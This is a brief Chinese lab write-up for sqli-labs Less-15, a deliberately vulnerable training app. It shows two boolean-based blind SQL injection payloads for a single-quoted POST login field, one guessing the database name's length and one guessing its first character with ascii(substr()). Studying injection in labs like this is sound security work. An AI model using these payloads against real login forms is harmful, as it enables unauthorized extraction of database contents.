【sqli-labs】 less15 POST - Blind- Boolian/time Based - Single quotes (基于bool/时间的单引号POST型盲注)

‘ or length(database())=8#

技术分享图片

如果数据库名的长度不等于8，登陆会失败

技术分享图片

猜测数据库名第一个字符是否为‘s‘，是则登陆成功

1‘ or ascii(substr(database(),1,1))=115#

技术分享图片

【sqli-labs】 less15 POST - Blind- Boolian/time Based - Single quotes (基于bool/时间的单引号POST型盲注)

标签：body bubuko 分享图片 pos ima data substr gpo 字符